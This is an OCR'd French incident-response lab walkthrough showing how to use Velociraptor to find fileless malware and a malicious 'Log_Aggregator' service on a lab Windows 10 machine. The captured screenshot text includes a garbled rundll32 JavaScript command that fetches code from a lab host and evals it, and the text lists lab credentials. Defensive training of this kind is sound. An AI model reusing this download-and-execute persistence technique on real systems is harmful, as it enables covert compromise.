* Au cours de I'activité, vous aurez I'occasion de détecter des logiciels malveillants sans fichier et des techniques de persistance furtive, sur un réseau hétérogéne et de
type entreprise.

<
—
-
o
<
o
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Configuration réseau et identifiants

vncviewer 10.100.11.121 €= Pour les machines basées sur Linux tvnviewer.exe, Hote distant : 10.100.11.121 €= Pour les machines basées sur Windows.

Une route statique a été configurée, afin que le répondeur aux incidents puisse interagir avec les points de terminaison sur le sous-réseau 10.100.11.0/24.

* Pour vous connecter au panneau d'administration Velociraptor (aprés vous étre connecté au serveur Velociraptor via VNC comme mentionné ci-dessus) :

1. Ouvrez un navigateur Web
2. Accédez a localhost:8889

3. Soumettez les informations d'identification suivantes : admin/analyste

<
—
-
o
<
o
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Taches

* Avant de procéder a I'analyse d'un incident ou d'identifier une anomalie, certaines informations requises doivent d'abord étre recueillies. Ces informations sont les
interactions réseau, les ports d'écoute, les processus en cours d'exécution, les services en cours d'exécution, les utilisateurs connectés, etc. N'hésitez pas a les
prolonger.

* Tout d'abord, utilisez les capacités intégrées de Velociraptor pour collecter rapidement autant d'informations initiales que possible sur ce point de terminaison.
Ensuite, essayez d'identifier tout ce qui est suspect ou qui s'écarte de la norme. Notez que le point de terminaison dispose de la journalisation PowerShell ScriptBlock.

Astuces :
1. La persistance peut également étre obtenue en créant des services malveillants

2. Essayez d'extraire les journaux liés a PowerShell via le client Velociraptor

<
—
-
o
<
o
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Correction

* Au moment ou un client Velociraptor fait un rapport a un serveur Velociraptor, le point de terminaison comportant le client Velociraptor est interrogé.
« L'interrogation » est un processus Velociraptor qui collecte efficacement les informations initiales sur les points finaux.

* Tout d'abord, une fois que vous étes connecté au panneau d'administration de Velociraptor (vous trouverez des informations sur la procédure a suivre ci-dessus, dans
la section Network Configuration & Credentials), vous pouvez répertorier tous les clients Velociraptor déployés en cliquant sur Search box et en appuyant sur rien
d'autre que Enter.

I::—) > ﬁ [ @ B localhost 8835/app bl 30% - ﬁ N D

% Velociraptor  yser admun 201940103 053042 UTG | Seamh B | 2

WANAGEMENT

Welcome to Velociraptor

Hunt Manager

Query for a system to view in the search box above.
[Type a =earch term fo search for a machine using etther a hesiname, mac address or usemame.

<
—
-
(2’2
<
o
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* Sivous le faites, le résultat ci-dessous vous sera présenté :

UANAGEMENT

w
Hunt Manager

~ = 3 < First  Client Last o

| | Online Subject Host  OS Version MAC Usernames Seen | version Labels Checkin ll;t:
Micosoft

- . Windowe 10

{ @  C.c39c81504¢830chi WINIO Pi010.0.10785
Build 10586

Remarques

* Ne démarrez aucune activité IR tant que le rond n'est pas vert | Cela peut prendre un certain temps avant qu'il ne le fasse... Pour actualiser, cliquez
sur le logo Velociraptor, puis cliquez a nouveau sur Search box et appuyez sur Enter.

<
—
]
(4
<
o

*  Pour commencer a collecter des informations initiales sur le point de terminaison win10.els-child.eLS.local, il vous suffit de cliquer sur la premiére
ligne, contenant le client Velociraptor déployé (voir figure ci-dessus).
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Correction

* Sivous le faites, vous allez avoir le résultat suivant :

WINIO
A a0 o WIN10 ccases15bacssocht
Stalus. @ 24 seconds ago
10.100.11.100 29574 ey
i | & inenogate i Ovenvicw | VOL Drildown
Start new flwe gen s C.c33¢B1504c830c0! | @
agent_information
Browse Virtug! Filesystem os_info system windows
Microsoft Windows 10 Pro10.0.10386 Build 105386
Manage launched fows amdéd
WINIO

MANAGEMENT 20190103 05:33:59 UTC

10.100.11.100:49674
EXTERANAL

Hurt Manager

<
—
-
(2’2
<
o
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Correction

*  Pour commencer a collecter des informations importantes sur ce point de terminaison, telles que les communications avec d'autres points de terminaison, les services
nouvellement créés, etc., vous pouvez utiliser les flux Velociraptor. Pour cela, cliquez sur Start new flows.

% Velociraptar  yser: agmin 20190103 05:37:27 UTC Searct Ba Q

WINTO

Kaes mast sk WIN10 c.c39c815b4c830cht
Slatus. @ 2 minutss g9
 10.100.11.100.39674

Q@ intzrogate Oveview  YOL Drikdown

Host Information |

cent d C.c33cB1504c830chi @

agent_Information

Browse Vinual Fiesysten os_info windows
Microsoft Windows 10 Pm 10.0 10585 Build 10586
Manage launched flows ! amde4
fac WIN1O

WANAGEMENT 20190103 05:33:37 UTC

10.100.11.100:43674

Hunt Manager
EXTERNAL

<
—
-
(2’2
<
o
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Correction

* Par exemple, pour répertorier tous les services nouvellement créés sur ce point de terminaison, vous devez accéder a Collectors -> Artifact Collector, ajouter
Windows.Events.ServiceCreation et enfin, faire défiler vers le bas et appuyer sur Launch.

% Valoziaplor User: admin 20190103 05:42:55 UTC SRR 104 Q n

! windows Apgiicanons.L INW SEIVICES aIe LyDicaty Creaiea oy
WIN1C [ i -|~- ‘ instaling new softwarz or
i Windows Events Pmoes kamel drivers. Attackers will somefimes
Access mason. sl L y install a naw sawvice to
Status: @ B minutes ago Windows Events. Senics ether insert a maicius keme! driver or &8
’ On-4007 : a persistence
€ 10.100.14.709:49674 | Windows Network. ApC mgnapmA
‘ |" Windowa e ok Intert This event montor exiracts the sewice
Host Inlommaton Yo L A, R creation events from the
L m event log and records them on the
Start new thws Fll Selected Artfacts: server.
. ‘ | Parameters
Browse Virtual Filesystem b 13| Windows.Events.Servicet
[
L name emlogFike
Manzgz aunched fiows e
MANAGEMENT C:/Windows
default /Systam 32/ Winavt

Hunt Manager /Logs/System. evix

<
—
-
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<
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Correction

* Pour collecter les résultats, vous devez cliquer sur Manage launched flows, puis cliquer sur le flux lancé (il peut afficher un message indiquant que le flux a échoué,
ignorez-le, le flux a été exécuté avec succes).

% Velociraplor  user: agmin 20190103 05:44:51 UTC S oo = -
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Correction

* Maintenant, si vous regardez attentivement les résultats, vous en remarquerez des curieux.

% Velociraptor

WIN1O
Access reason: test
Status @ 2 mniules ago

© 10.100.11,100:49723

Host Informaton
Start new flows

Browse Virtazl Filesystem

Manage launchad fowe

MANAGEMENT

Hunt Manager

User admn 2019-0103 05:46:45 UTC et a -
8/
State Pan Flow Name Creation Time Last Active Creator
@  Fassfbi AdifactCollectar 201901403 05:44:18 UTC 20190103 05:44:20 UTC - ardmin
@  F.I603c241 Vinterogate 20190103 05:34:36 UTC | 20190103 05:34:37 UTG  admin
@  FMonioring MoritorngFow 20190102 13:1255 UTC 20190103 05:12:58 UTC
&  F5idila Vinterogate 20190102 19:12:54 UTC | 20190102 19:12:56 UTG
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{h.Open(GET 'hitp//10.100.11.250:80/conncct, false):h. Send():
B=h.ResponseText:eval(B)

clwindows\system32iund132.ax2 javascript:\..\meshtm] RunHTMLApplicatid
"document. wiie n=new3%20Active XObjec(WinHUp. WinHtpReques. 5.1
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Correction

*  Plus précisément, vous rencontrez a nouveau rundll32 exécutant du code JavaScript malveillant.

* Cette fois, la persistance passe par la création d'un service malveillant.

* Sivous faites défiler vers la droite, vous verrez également que le nom du service malveillant est Log_Aggregator.
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* On vous a également dit que cette machine dispose de la journalisation PowerShell ScriptBlock. Extrayons et inspectons ces journaux en exécutant une requéte

Velocidex Query Language (VQL).

* Vous pouvez le faire en cliquant sur Start new flows, en naviguant vers Collectors =» VQL Collector et en spécifiant la requéte ci-dessous (voir

https://docs.velociraptor.velocidex.com/blog/html|/2018/11/09/event _queries_and endpoint_monitoring.html pour plus d’information).
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